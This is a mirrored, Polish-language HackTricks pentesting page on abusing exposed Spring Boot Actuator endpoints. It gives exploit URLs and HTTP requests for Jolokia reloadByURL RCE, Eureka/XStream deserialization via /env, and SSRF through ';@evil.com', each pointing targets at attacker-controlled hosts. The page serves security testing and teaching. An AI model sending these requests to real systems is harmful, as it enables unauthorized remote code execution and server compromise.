mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-01 00:49:40 +00:00
91 lines
5.7 KiB
Markdown
91 lines
5.7 KiB
Markdown
# Spring Actuators
|
|
|
|
{% hint style="success" %}
|
|
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Wsparcie dla HackTricks</summary>
|
|
|
|
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
{% endhint %}
|
|
|
|
## **Spring Auth Bypass**
|
|
|
|
<figure><img src="../../.gitbook/assets/image (927).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Z** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
|
|
|
|
## Wykorzystywanie Spring Boot Actuators
|
|
|
|
**Sprawdź oryginalny post z** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
|
|
|
### **Kluczowe punkty:**
|
|
|
|
* Spring Boot Actuators rejestruje punkty końcowe, takie jak `/health`, `/trace`, `/beans`, `/env`, itp. W wersjach od 1 do 1.4, te punkty końcowe są dostępne bez uwierzytelnienia. Od wersji 1.5 wzwyż, tylko `/health` i `/info` są domyślnie nieczułe, ale deweloperzy często wyłączają to zabezpieczenie.
|
|
* Niektóre punkty końcowe Actuator mogą ujawniać wrażliwe dane lub pozwalać na szkodliwe działania:
|
|
* `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, i `/heapdump`.
|
|
* W Spring Boot 1.x, actuatory są rejestrowane pod głównym URL, podczas gdy w 2.x, są pod podstawową ścieżką `/actuator/`.
|
|
|
|
### **Techniki wykorzystywania:**
|
|
|
|
1. **Zdalne wykonanie kodu przez '/jolokia'**:
|
|
* Punkt końcowy `/jolokia` udostępnia bibliotekę Jolokia, która umożliwia dostęp HTTP do MBeans.
|
|
* Akcja `reloadByURL` może być wykorzystana do przeładowania konfiguracji logowania z zewnętrznego URL, co może prowadzić do ślepego XXE lub zdalnego wykonania kodu przez skonstruowane konfiguracje XML.
|
|
* Przykład URL exploita: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
|
2. **Modyfikacja konfiguracji przez '/env'**:
|
|
* Jeśli biblioteki Spring Cloud są obecne, punkt końcowy `/env` pozwala na modyfikację właściwości środowiskowych.
|
|
* Właściwości mogą być manipulowane w celu wykorzystania luk, takich jak luka deserializacji XStream w usłudze Eureka serviceURL.
|
|
* Przykład exploita POST:
|
|
|
|
```
|
|
POST /env HTTP/1.1
|
|
Host: 127.0.0.1:8090
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 65
|
|
|
|
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
|
```
|
|
3. **Inne przydatne ustawienia**:
|
|
* Właściwości takie jak `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, i `spring.datasource.tomcat.max-active` mogą być manipulowane w celu różnych exploitów, takich jak SQL injection lub zmiana ciągów połączeń z bazą danych.
|
|
|
|
### **Dodatkowe informacje:**
|
|
|
|
* Kompletna lista domyślnych actuatorów znajduje się [tutaj](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
|
* Punkt końcowy `/env` w Spring Boot 2.x używa formatu JSON do modyfikacji właściwości, ale ogólna koncepcja pozostaje ta sama.
|
|
|
|
### **Pokrewne tematy:**
|
|
|
|
1. **Env + H2 RCE**:
|
|
* Szczegóły dotyczące wykorzystywania kombinacji punktu końcowego `/env` i bazy danych H2 można znaleźć [tutaj](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
|
2. **SSRF w Spring Boot przez niewłaściwą interpretację nazwy ścieżki**:
|
|
* Obsługa parametrów macierzowych (`;`) w nazwach ścieżek HTTP przez framework Spring może być wykorzystana do Server-Side Request Forgery (SSRF).
|
|
* Przykład żądania exploita:
|
|
|
|
```http
|
|
GET ;@evil.com/url HTTP/1.1
|
|
Host: target.com
|
|
Connection: close
|
|
```
|
|
{% hint style="success" %}
|
|
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Wsparcie dla HackTricks</summary>
|
|
|
|
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
</details>
|
|
{% endhint %}
|